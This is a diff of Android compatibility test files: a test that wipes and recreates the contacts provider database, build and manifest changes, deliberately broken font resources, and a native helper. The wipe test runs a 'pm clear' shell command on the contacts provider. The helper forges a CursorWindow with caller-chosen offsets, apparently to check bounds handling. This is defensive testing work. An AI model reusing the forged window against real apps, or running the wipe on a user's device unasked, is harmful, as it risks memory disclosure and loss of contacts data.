+include $(BUILD_CTS_PACKAGE)
+#include $(BUILD_PACKAGE)
+
+include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/tests/contactsproviderwipe/AndroidManifest.xml b/tests/tests/contactsproviderwipe/AndroidManifest.xml
new file mode 100644
index 0000000..9ac9ad0
--- /dev/null
+++ b/tests/tests/contactsproviderwipe/AndroidManifest.xml
@@ -0,0 +1,34 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.provider.cts.contactsproviderwipe">
+
+    <uses-permission android:name="android.permission.READ_CONTACTS" />
+    <uses-permission android:name="android.permission.WRITE_CONTACTS" />
+
+    <application>
+        <uses-library android:name="android.test.runner"/>
+    </application>
+
+    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.provider.cts.contactsproviderwipe">
+        <meta-data android:name="listener"
+            android:value="com.android.cts.runner.CtsTestRunListener" />
+    </instrumentation>
+</manifest>
+
diff --git a/tests/tests/contactsproviderwipe/AndroidTest.xml b/tests/tests/contactsproviderwipe/AndroidTest.xml
new file mode 100644
index 0000000..a7a3716
--- /dev/null
+++ b/tests/tests/contactsproviderwipe/AndroidTest.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS Provider test cases">
+    <option name="config-descriptor:metadata" key="component" value="framework" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsContactsProviderWipe.apk" />
+    </target_preparer>
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="android.provider.cts.contactsproviderwipe" />
+        <option name="runtime-hint" value="3m" />
+    </test>
+</configuration>
diff --git a/tests/tests/contactsproviderwipe/src/android/provider/cts/contactsproviderwipe/ContactsContract_Wipe.java b/tests/tests/contactsproviderwipe/src/android/provider/cts/contactsproviderwipe/ContactsContract_Wipe.java
new file mode 100644
index 0000000..a0d7f16
--- /dev/null
+++ b/tests/tests/contactsproviderwipe/src/android/provider/cts/contactsproviderwipe/ContactsContract_Wipe.java
@@ -0,0 +1,213 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.provider.cts.contactsproviderwipe;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.content.pm.PackageManager;
+import android.content.pm.ProviderInfo;
+import android.database.ContentObserver;
+import android.database.Cursor;
+import android.net.Uri;
+import android.os.Handler;
+import android.os.Looper;
+import android.os.ParcelFileDescriptor;
+import android.provider.ContactsContract;
+import android.provider.ContactsContract.Intents;
+import android.provider.ContactsContract.ProviderStatus;
+import android.support.test.InstrumentationRegistry;
+import android.test.AndroidTestCase;
+import android.text.TextUtils;
+import android.util.Log;
+
+import java.io.BufferedReader;
+import java.io.FileReader;
+import java.io.IOException;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.atomic.AtomicReference;
+
+/**
+ * CTS tests for CP2 regarding data wipe.
+ *
+ * <p>We can't use CtsProviderTestCases for this test because CtsProviderTestCases creates
+ * a stable connection to the contacts provider, which would cause the test process to be killed
+ * when the CP2 process gets killed (for "pm clear").
+ */
+public class ContactsContract_Wipe extends AndroidTestCase {
+    public static final String TAG = "ContactsContract_PS";
+
+    /** 1 hour in milliseconds. */
+    private static final long ONE_HOUR_IN_MILLIS = 1000L * 60 * 60;
+
+    private long getDatabaseCreationTimestamp() {
+        try (Cursor cursor = getContext().getContentResolver().query(
+                ProviderStatus.CONTENT_URI, null, null, null, null)) {
+            assertTrue(cursor.moveToFirst());
+
+            final Long timestamp = cursor.getLong(
+                    cursor.getColumnIndexOrThrow(ProviderStatus.DATABASE_CREATION_TIMESTAMP));
+            assertNotNull(timestamp);
+
+            return timestamp;
+        }
+    }
+
+    private void assertBigger(long bigger, long smaller) {
+        assertTrue("Expecting " + bigger + " > " + smaller, bigger > smaller);
+    }
+
+    private String getContactsProviderPackageName() {
+        final List<ProviderInfo> list = getContext().getPackageManager().queryContentProviders(
+                null, 0, PackageManager.MATCH_ALL);
+        assertNotNull(list);
+        for (ProviderInfo pi : list) {
+            if (TextUtils.isEmpty(pi.authority)) {
+                continue;
+            }
+            for (String authority : pi.authority.split(";")) {
+                Log.i(TAG, "Found " + authority);
+                if (ContactsContract.AUTHORITY.equals(authority)) {
+                    return pi.packageName;
+                }
+            }
+        }
+        fail("Contacts provider package not found.");
+        return null;
+    }
+
+    static List<String> readAll(ParcelFileDescriptor pfd) {
+        try {
+            try {
+                final ArrayList<String> ret = new ArrayList<>();
+                try (BufferedReader r = new BufferedReader(
+                        new FileReader(pfd.getFileDescriptor()))) {
+                    String line;
+                    while ((line = r.readLine()) != null) {
+                        ret.add(line);
+                    }
+                    r.readLine();
+                }
+                return ret;
+            } finally {
+                pfd.close();
+            }
+        } catch (IOException e) {
+            throw new RuntimeException(e);
+        }
+    }
+
+    static String concatResult(List<String> result) {
+        final StringBuilder sb = new StringBuilder();
+        for (String s : result) {
+            sb.append(s);
+            sb.append("\n");
+        }
+        return sb.toString().trim();
+    }
+
+    private void wipeContactsProvider() {
+        final String providerPackage = getContactsProviderPackageName();
+
+        Log.i(TAG, "Wiping "  + providerPackage + "...");
+
+        final String result = concatResult(readAll(
+                InstrumentationRegistry.getInstrumentation().getUiAutomation().executeShellCommand(
+                        "pm clear " + providerPackage)));
+        Log.i(TAG, "Result:" + result);
+
+        assertEquals("Success", result);
+    }
+
+    public void testCreationTimestamp() throws Exception {
+        final long originalTimestamp = getDatabaseCreationTimestamp();
+
+        Thread.sleep(1);
+
+        final long start = System.currentTimeMillis();
+
+        Log.i(TAG, "start="  + start);
+        Log.i(TAG, "originalTimestamp="  + originalTimestamp);
+
+        // Check: the (old) creation time should be smaller than the start time (=now).
+        // Add 1 hour to compensate for possible day light saving.
+        assertBigger(start + ONE_HOUR_IN_MILLIS, originalTimestamp);
+
+        Thread.sleep(1);
+
+        wipeContactsProvider();
+
+        // Check: the creation time should be bigger than the start time.
+        final long newTimestamp = getDatabaseCreationTimestamp();
+        Log.i(TAG, "newTimestamp="  + newTimestamp);
+
+        assertBigger(newTimestamp, start);
+    }
+
+    public void testDatabaseWipeNotification() throws Exception {
+        final CountDownLatch latch = new CountDownLatch(1);
+        final AtomicReference<Uri> notifiedUri = new AtomicReference<>();
+
+        getContext().getContentResolver().registerContentObserver(ProviderStatus.CONTENT_URI,
+                /* notifyForDescendants=*/ false,
+                new ContentObserver(new Handler(Looper.getMainLooper())) {
+            @Override
+            public void onChange(boolean selfChange, Uri uri) {
+                Log.i(TAG, "Received notification on " + uri);
+                notifiedUri.set(uri);
+                latch.countDown();
+            }
+        });
+
+        wipeContactsProvider();
+
+        // Accessing CP2 to make sure the process starts.
+        getDatabaseCreationTimestamp();
+
+        assertTrue("Didn't receive content change notification",
+                latch.await(120, TimeUnit.SECONDS));
+
+        assertEquals(ProviderStatus.CONTENT_URI, notifiedUri.get());
+    }
+
+    public void testDatabaseWipeBroadcast() throws Exception {
+        final CountDownLatch latch = new CountDownLatch(1);
+
+        final IntentFilter filter = new IntentFilter();
+        filter.addAction(Intents.CONTACTS_DATABASE_CREATED);
+
+        getContext().registerReceiver(new BroadcastReceiver() {
+            @Override
+            public void onReceive(Context context, Intent intent) {
+                Log.i(TAG, "Received broadcast: " + intent);
+                latch.countDown();
+            }
+        }, filter);
+
+        wipeContactsProvider();
+
+        // Accessing CP2 to make sure the process starts.
+        getDatabaseCreationTimestamp();
+
+        assertTrue("Didn't receive contacts wipe broadcast",
+                latch.await(120, TimeUnit.SECONDS));
+    }
+}
diff --git a/tests/tests/content/Android.mk b/tests/tests/content/Android.mk
index 1c5f6ae..5d5d025 100644
--- a/tests/tests/content/Android.mk
+++ b/tests/tests/content/Android.mk
@@ -20,33 +20,37 @@
 LOCAL_MODULE_TAGS := optional
 # and when built explicitly put it in the data partition
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+LOCAL_USE_AAPT2 := true
+
+LOCAL_JNI_SHARED_LIBRARIES := libnativecursorwindow_jni libnativehelper_compat_libc++
 
 LOCAL_JAVA_LIBRARIES := android.test.runner
 
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    android-support-v4 \
-    android-support-multidex \
-    ctsdeviceutil \
+LOCAL_STATIC_JAVA_LIBRARIES :=  \
+    compatibility-device-util \
     ctstestrunner \
     services.core \
     junit \
     legacy-android-test \
+    truth-prebuilt
 
+LOCAL_STATIC_ANDROID_LIBRARIES := android-support-v4
 
 # Use multi-dex as the compatibility-common-util-devicesidelib dependency
-# on ctsdeviceutil pushes us beyond 64k methods.
-LOCAL_JACK_FLAGS := --multi-dex legacy
+# on compatibility-device-util pushes us beyond 64k methods.
+LOCAL_JACK_FLAGS := --multi-dex native
+LOCAL_DX_FLAGS := --multi-dex
 
 # Resource unit tests use a private locale and some densities
-LOCAL_AAPT_FLAGS = -c xx_YY -c cs -c small -c normal -c large -c xlarge \
-        -c 320dpi -c 240dpi -c 160dpi -c 32dpi \
-        -c kok,kok_IN,kok_419,kok_419_VARIANT,kok_Knda_419,kok_Knda_419_VARIANT,kok_VARIANT,kok_Knda,tgl,tgl_PH
+LOCAL_AAPT_INCLUDE_ALL_RESOURCES := true
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
+LOCAL_MULTILIB := both
 LOCAL_PACKAGE_NAME := CtsContentTestCases
 
 # Tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts
 
 include $(BUILD_CTS_PACKAGE)
+
+include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/tests/content/AndroidManifest.xml b/tests/tests/content/AndroidManifest.xml
index d4f203e..f9a5915 100644
--- a/tests/tests/content/AndroidManifest.xml
+++ b/tests/tests/content/AndroidManifest.xml
@@ -48,6 +48,57 @@
                 android:protectionLevel="normal"
                 android:permissionGroup="android.permission-group.COST_MONEY" />
 
+    <permission android:name="android.content.cts.REQUIRED_FEATURE_DEFINED"
+        android:protectionLevel="normal" />
+
+    <permission android:name="android.content.cts.REQUIRED_FEATURE_UNDEFINED"
+        android:protectionLevel="normal" />
+
+    <permission android:name="android.content.cts.REQUIRED_NOT_FEATURE_DEFINED"
+        android:protectionLevel="normal" />
+
+    <permission android:name="android.content.cts.REQUIRED_NOT_FEATURE_UNDEFINED"
+        android:protectionLevel="normal" />
+
+    <permission android:name="android.content.cts.REQUIRED_MULTI_DENY"
+        android:protectionLevel="normal" />
+
+    <permission android:name="android.content.cts.REQUIRED_MULTI_GRANT"
+        android:protectionLevel="normal" />
+
+    <uses-permission android:name="android.content.cts.REQUIRED_FEATURE_DEFINED"
+        android:requiredFeature="android.software.cts" />
+
+    <uses-permission android:name="android.content.cts.REQUIRED_FEATURE_UNDEFINED"
+        android:requiredFeature="android.software.cts.undefined" />
+
+    <uses-permission android:name="android.content.cts.REQUIRED_NOT_FEATURE_DEFINED"
+        android:requiredNotFeature="android.software.cts" />
+
+    <uses-permission android:name="android.content.cts.REQUIRED_NOT_FEATURE_UNDEFINED"
+        android:requiredNotFeature="android.software.cts.undefined" />
+
+    <uses-permission android:name="android.content.cts.REQUIRED_MULTI_DENY"
+        android:requiredFeature="android.software.cts.undefined"
+        android:requiredNotFeature="android.software.cts" />
+
+    <uses-permission android:name="android.content.cts.REQUIRED_MULTI_DENY"
+        android:requiredFeature="android.software.cts"
+        android:requiredNotFeature="android.software.cts" />
+
+    <uses-permission android:name="android.content.cts.REQUIRED_MULTI_DENY"
+        android:requiredFeature="android.software.cts.undefined"
+        android:requiredNotFeature="android.software.cts.undefined" />
+
+    <uses-permission android:name="android.content.cts.REQUIRED_MULTI_GRANT"
+        android:requiredFeature="android.software.cts"
+        android:requiredNotFeature="android.software.cts.undefined" />
+
+    <permission android:name="android.content.cts.SIGNATURE_PERMISSION"
+        android:protectionLevel="signature" />
+
+    <uses-permission android:name="android.content.cts.SIGNATURE_PERMISSION" />
+
     <!-- Used for PackageManager test, don't delete! -->
     <uses-configuration/>
     <uses-feature android:name="android.hardware.camera" />
@@ -108,7 +159,8 @@
                 <action android:name="android.content.cts.BroadcastReceiverTest.BROADCAST_TESTABORT" />
             </intent-filter>
         </receiver>
-        <receiver android:name="android.content.cts.MockReceiver">
+        <receiver android:name="android.content.cts.MockReceiver"
+                android:permission="android.content.cts.SIGNATURE_PERMISSION">
             <intent-filter android:priority="1">
                 <action android:name="android.content.cts.BroadcastReceiverTest.BROADCAST_MOCKTEST" />
                 <action android:name="android.content.cts.BroadcastReceiverTest.BROADCAST_TESTABORT" />
@@ -163,6 +215,10 @@
         <!-- Used for PackageManager test, don't delete this MockContentProvider provider -->
         <provider android:name="android.content.cts.MockContentProvider" android:authorities="ctstest"
             android:multiprocess="false" />
+        <provider android:name="android.content.cts.MockSRSProvider"
+                  android:authorities="android.content.cts.MockSRSProvider"
+                  android:exported="false"
+                  android:multiprocess="false" />
         <provider android:name="android.content.cts.DummyProvider"
             android:authorities="android.content.cts.dummyprovider"
             android:multiprocess="true" />
@@ -177,6 +233,11 @@
                 android:resource="@xml/file_paths" />
         </provider>
 
+        <provider android:name="android.content.cts.TestPagingContentProvider"
+            android:authorities="android.content.cts.testpagingprovider"
+            android:process=":testpagingprovider"
+            android:multiprocess="false" />
+
         <service android:name="android.content.cts.MockService" />
 
         <service android:name="android.content.cts.MockSyncAdapterService" android:exported="true">
@@ -219,6 +280,13 @@
             </intent-filter>
         </activity>
 
+        <provider
+                android:name="android.content.cts.CursorWindowContentProvider"
+                android:authorities="cursorwindow.provider"
+                android:exported="true"
+                android:process=":providerProcess">
+        </provider>
+
     </application>
 
     <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
diff --git a/tests/tests/content/AndroidTest.xml b/tests/tests/content/AndroidTest.xml
index e87771c..d16f992 100644
--- a/tests/tests/content/AndroidTest.xml
+++ b/tests/tests/content/AndroidTest.xml
@@ -14,12 +14,13 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS Content test cases">
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
+    <option name="config-descriptor:metadata" key="component" value="framework" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsContentTestCases.apk" />
     </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.content.cts" />
-        <option name="runtime-hint" value="3m30s" />
+        <option name="runtime-hint" value="21m30s" />
     </test>
 </configuration>
diff --git a/tests/tests/content/jni/Android.mk b/tests/tests/content/jni/Android.mk
new file mode 100644
index 0000000..4737b35
--- /dev/null
+++ b/tests/tests/content/jni/Android.mk
@@ -0,0 +1,30 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := libnativecursorwindow_jni
+
+# Don't include this package in any configuration by default.
+LOCAL_MODULE_TAGS := optional
+
+LOCAL_SRC_FILES := NativeCursorWindow.c
+
+LOCAL_C_INCLUDES := $(JNI_H_INCLUDE)
+
+LOCAL_SHARED_LIBRARIES := libnativehelper_compat_libc++ liblog
+LOCAL_CXX_STL := libc++_static
+include $(BUILD_SHARED_LIBRARY)
diff --git a/tests/tests/content/jni/NativeCursorWindow.c b/tests/tests/content/jni/NativeCursorWindow.c
new file mode 100644
index 0000000..a2fb92a
--- /dev/null
+++ b/tests/tests/content/jni/NativeCursorWindow.c
@@ -0,0 +1,99 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#define LOG_TAG "NativeCursorWindow"
+
+#include <jni.h>
+#include <fcntl.h>
+#include <sys/mman.h>
+#include <linux/ashmem.h>
+#include <utils/Log.h>
+
+struct Header {
+    // Offset of the lowest unused byte in the window.
+    uint32_t freeOffset;
+
+    // Offset of the first row slot chunk.
+    uint32_t firstChunkOffset;
+
+    uint32_t numRows;
+    uint32_t numColumns;
+};
+
+struct RowSlot {
+    uint32_t offset;
+};
+
+#define ROW_SLOT_CHUNK_NUM_ROWS 100
+
+struct RowSlotChunk {
+    struct RowSlot slots[ROW_SLOT_CHUNK_NUM_ROWS];
+    uint32_t nextChunkOffset;
+};
+
+/* Field types. */
+enum {
+    FIELD_TYPE_NULL = 0,
+    FIELD_TYPE_INTEGER = 1,
+    FIELD_TYPE_FLOAT = 2,
+    FIELD_TYPE_STRING = 3,
+    FIELD_TYPE_BLOB = 4,
+};
+
+/* Opaque type that describes a field slot. */
+struct FieldSlot {
+    int32_t type;
+    union {
+        double d;
+        int64_t l;
+        struct {
+            uint32_t offset;
+            uint32_t size;
+        } buffer;
+    } data;
+} __attribute((packed));
+
+JNIEXPORT jint JNICALL
+Java_android_content_cts_CursorWindowContentProvider_makeNativeCursorWindowFd(JNIEnv *env, jclass clazz,
+jint offset, jint size, jboolean isBlob) {
+    int fd = open("/dev/ashmem", O_RDWR);
+    ioctl(fd, ASHMEM_SET_NAME, "Fake CursorWindow");
+
+    ioctl(fd, ASHMEM_SET_SIZE, 1024);
+
+    void *data = mmap(NULL, 1024, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
+
+    struct Header *header = (struct Header *) data;
+    unsigned rowSlotChunkOffset = sizeof(struct Header);
+    struct RowSlotChunk *rowSlotChunk = (struct RowSlotChunk *)(data + rowSlotChunkOffset);
+    unsigned fieldSlotOffset = rowSlotChunkOffset + sizeof(struct RowSlotChunk);
+    struct FieldSlot *fieldSlot = (struct FieldSlot *) (data + fieldSlotOffset);
+
+    header->numRows = 1;
+    header->numColumns = 1;
+    header->firstChunkOffset = rowSlotChunkOffset;
+
+    rowSlotChunk->slots[0].offset = fieldSlotOffset;
+
+    fieldSlot->type = isBlob ? FIELD_TYPE_BLOB : FIELD_TYPE_STRING;
+    fieldSlot->data.buffer.offset = offset;
+    fieldSlot->data.buffer.size = size;
+
+    munmap(data, 1024);
+
+    return fd;
+
+}
diff --git a/tests/tests/content/res/drawable-anydpi/adaptive_icon.xml b/tests/tests/content/res/drawable-anydpi/adaptive_icon.xml
new file mode 100644
index 0000000..79216e1
--- /dev/null
+++ b/tests/tests/content/res/drawable-anydpi/adaptive_icon.xml
@@ -0,0 +1,21 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<adaptive-icon xmlns:android="http://schemas.android.com/apk/res/android">
+    <foreground android:drawable="@drawable/density_test" />
+    <background android:drawable="@android:color/white" />
+</adaptive-icon>
diff --git a/tests/tests/content/res/font/broken_xmlfont.xml b/tests/tests/content/res/font/broken_xmlfont.xml
new file mode 100644
index 0000000..be30f2f
--- /dev/null
+++ b/tests/tests/content/res/font/broken_xmlfont.xml
@@ -0,0 +1,4 @@
+<?xml version="1.0" encoding="utf-8"?>
+<font-family xmlns:android="http://schemas.android.com/apk/res/android">
+  <font android:fontStyle="normal" android:fontWeight="400" android:font="@font/brokenfont" />
+</font-family>
diff --git a/tests/tests/content/res/font/brokenfont.ttf b/tests/tests/content/res/font/brokenfont.ttf
new file mode 100644
index 0000000..12b2713
--- /dev/null
+++ b/tests/tests/content/res/font/brokenfont.ttf
Binary files differ
diff --git a/tests/tests/content/res/font/brokenfont_source.ttx b/tests/tests/content/res/font/brokenfont_source.ttx
new file mode 100644
index 0000000..34217b4
--- /dev/null
+++ b/tests/tests/content/res/font/brokenfont_source.ttx
@@ -0,0 +1,177 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<ttFont sfntVersion="\x00\x01\x00\x00" ttLibVersion="3.0">
+
+  <GlyphOrder>
+    <GlyphID id="0" name=".notdef"/>
+    <GlyphID id="1" name="a"/>
+  </GlyphOrder>
+
+  <head>
+    <tableVersion value="1.0"/>
+    <fontRevision value="1.0"/>
+    <checkSumAdjustment value="0x640cdb2f"/>
+    <magicNumber value="0x5f0f3cf5"/>
+    <flags value="00000000 00000011"/>
+    <unitsPerEm value="1000"/>
+    <created value="Mon May 1 00:00:00 2017"/>
+    <macStyle value="00000000 00000000"/>
+    <lowestRecPPEM value="7"/>
+    <fontDirectionHint value="2"/>
+    <glyphDataFormat value="0"/>
+  </head>
+
+  <hhea>
+    <tableVersion value="1.0"/>
+    <ascent value="1000"/>
+    <descent value="-200"/>
+    <lineGap value="0"/>
+    <caretSlopeRise value="1"/>
+    <caretSlopeRun value="0"/>
+    <caretOffset value="0"/>
+    <reserved0 value="0"/>
+    <reserved1 value="0"/>
+    <reserved2 value="0"/>
+    <reserved3 value="0"/>
+    <metricDataFormat value="0"/>
+  </hhea>
+
+  <maxp>
+    <tableVersion value="0x10000"/>
+    <maxZones value="0"/>
+    <maxTwilightPoints value="0"/>
+    <maxStorage value="0"/>
+    <maxFunctionDefs value="0"/>
+    <maxInstructionDefs value="0"/>
+    <maxStackElements value="0"/>
+    <maxSizeOfInstructions value="0"/>
+    <maxComponentElements value="0"/>
+  </maxp>
+
+  <OS_2>
+    <!-- The fields 'usFirstCharIndex' and 'usLastCharIndex'
+         will be recalculated by the compiler -->
+    <version value="3"/>
+    <xAvgCharWidth value="594"/>
+    <usWeightClass value="400"/>
+    <usWidthClass value="5"/>
+    <fsType value="00000000 00001000"/>
+    <ySubscriptXSize value="650"/>
+    <ySubscriptYSize value="600"/>
+    <ySubscriptXOffset value="0"/>
+    <ySubscriptYOffset value="75"/>
+    <ySuperscriptXSize value="650"/>
+    <ySuperscriptYSize value="600"/>
+    <ySuperscriptXOffset value="0"/>
+    <ySuperscriptYOffset value="350"/>
+    <yStrikeoutSize value="50"/>
+    <yStrikeoutPosition value="300"/>
+    <sFamilyClass value="0"/>
+    <panose>
+      <bFamilyType value="0"/>
+      <bSerifStyle value="0"/>
+      <bWeight value="5"/>
+      <bProportion value="0"/>
+      <bContrast value="0"/>
+      <bStrokeVariation value="0"/>
+      <bArmStyle value="0"/>
+      <bLetterForm value="0"/>
+      <bMidline value="0"/>
+      <bXHeight value="0"/>
+    </panose>
+    <ulUnicodeRange1 value="00000000 00000000 00000000 00000001"/>
+    <ulUnicodeRange2 value="00000000 00000000 00000000 00000000"/>
+    <ulUnicodeRange3 value="00000000 00000000 00000000 00000000"/>
+    <ulUnicodeRange4 value="00000000 00000000 00000000 00000000"/>
+    <achVendID value="UKWN"/>
+    <fsSelection value="00000000 01000000"/>
+    <usFirstCharIndex value="32"/>
+    <usLastCharIndex value="122"/>
+    <sTypoAscender value="800"/>
+    <sTypoDescender value="-200"/>
+    <sTypoLineGap value="200"/>
+    <usWinAscent value="1000"/>
+    <usWinDescent value="200"/>
+    <ulCodePageRange1 value="00000000 00000000 00000000 00000001"/>
+    <ulCodePageRange2 value="00000000 00000000 00000000 00000000"/>
+    <sxHeight value="500"/>
+    <sCapHeight value="700"/>
+    <usDefaultChar value="0"/>
+    <usBreakChar value="32"/>
+    <usMaxContext value="0"/>
+  </OS_2>
+
+  <hmtx>
+    <mtx name=".notdef" width="500" lsb="93"/>
+    <mtx name="a" width="500" lsb="93"/>
+  </hmtx>
+
+  <cmap>
+    <tableVersion version="0"/>
+    <cmap_format_4 platformID="3" platEncID="10" language="0">
+      <map code="0x0061" name="a" />
+    </cmap_format_4>
+  </cmap>
+
+  <loca>
+    <!-- The 'loca' table will be calculated by the compiler -->
+  </loca>
+
+  <glyf>
+    <TTGlyph name=".notdef" xMin="0" yMin="0" xMax="0" yMax="0" />
+    <TTGlyph name="a" xMin="0" yMin="0" xMax="0" yMax="0" />
+  </glyf>
+
+  <name>
+    <namerecord nameID="1" platformID="1" platEncID="0" langID="0x0" unicode="True">
+      Broken Font
+    </namerecord>
+    <namerecord nameID="2" platformID="1" platEncID="0" langID="0x0" unicode="True">
+      Regular
+    </namerecord>
+    <namerecord nameID="4" platformID="1" platEncID="0" langID="0x0" unicode="True">
+      Broken Font
+    </namerecord>
+    <namerecord nameID="6" platformID="1" platEncID="0" langID="0x0" unicode="True">
+      BrokenFont-Regular
+    </namerecord>
+    <namerecord nameID="1" platformID="3" platEncID="1" langID="0x409">
+      Broken Font
+    </namerecord>
+    <namerecord nameID="2" platformID="3" platEncID="1" langID="0x409">
+      Regular
+    </namerecord>
+    <namerecord nameID="4" platformID="3" platEncID="1" langID="0x409">
+      Broken Font
+    </namerecord>
+    <namerecord nameID="6" platformID="3" platEncID="1" langID="0x409">
+      BrokenFont-Regular
+    </namerecord>
+  </name>
+
+  <post>
+    <formatType value="3.0"/>
+    <italicAngle value="0.0"/>
+    <underlinePosition value="-75"/>
+    <underlineThickness value="50"/>
+    <isFixedPitch value="0"/>
+    <minMemType42 value="0"/>
+    <maxMemType42 value="0"/>
+    <minMemType1 value="0"/>
+    <maxMemType1 value="0"/>
+  </post>
+
+</ttFont>
diff --git a/tests/tests/content/res/font/invalid_font.ttf b/tests/tests/content/res/font/invalid_font.ttf
new file mode 100644
index 0000000..4898a2b
--- /dev/null
+++ b/tests/tests/content/res/font/invalid_font.ttf
@@ -0,0 +1 @@
+Invalid Font File.
diff --git a/tests/tests/content/res/font/invalid_xmlempty.xml b/tests/tests/content/res/font/invalid_xmlempty.xml
new file mode 100644
index 0000000..545704f
--- /dev/null
+++ b/tests/tests/content/res/font/invalid_xmlempty.xml
@@ -0,0 +1,2 @@
+<?xml version="1.0" encoding="utf-8"?>
+<resources />
diff --git a/tests/tests/content/res/font/invalid_xmlfamily.xml b/tests/tests/content/res/font/invalid_xmlfamily.xml
new file mode 100644
index 0000000..d1dcef0
--- /dev/null
+++ b/tests/tests/content/res/font/invalid_xmlfamily.xml
@@ -0,0 +1,3 @@
+<invalid-tag xmlns:android="http://schemas.android.com/apk/res/android">
+  <font android:fontStyle="normal" android:fontWeight="400" android:font="@font/sample_regular_font" />
+</invalid-tag>
diff --git a/tests/tests/content/res/font/invalid_xmlfont.xml b/tests/tests/content/res/font/invalid_xmlfont.xml
new file mode 100644
index 0000000..38f03c4
--- /dev/null
+++ b/tests/tests/content/res/font/invalid_xmlfont.xml
@@ -0,0 +1,5 @@
+<?xml version="1.0" encoding="utf-8"?>
+<font-family xmlns:android="http://schemas.android.com/apk/res/android">
+  <!-- the tag inside font-family must be 'font' -->
+  <ttf android:fontStyle="normal" android:fontWeight="400" android:font="@font/sample_regular_font" />
+</font-family>
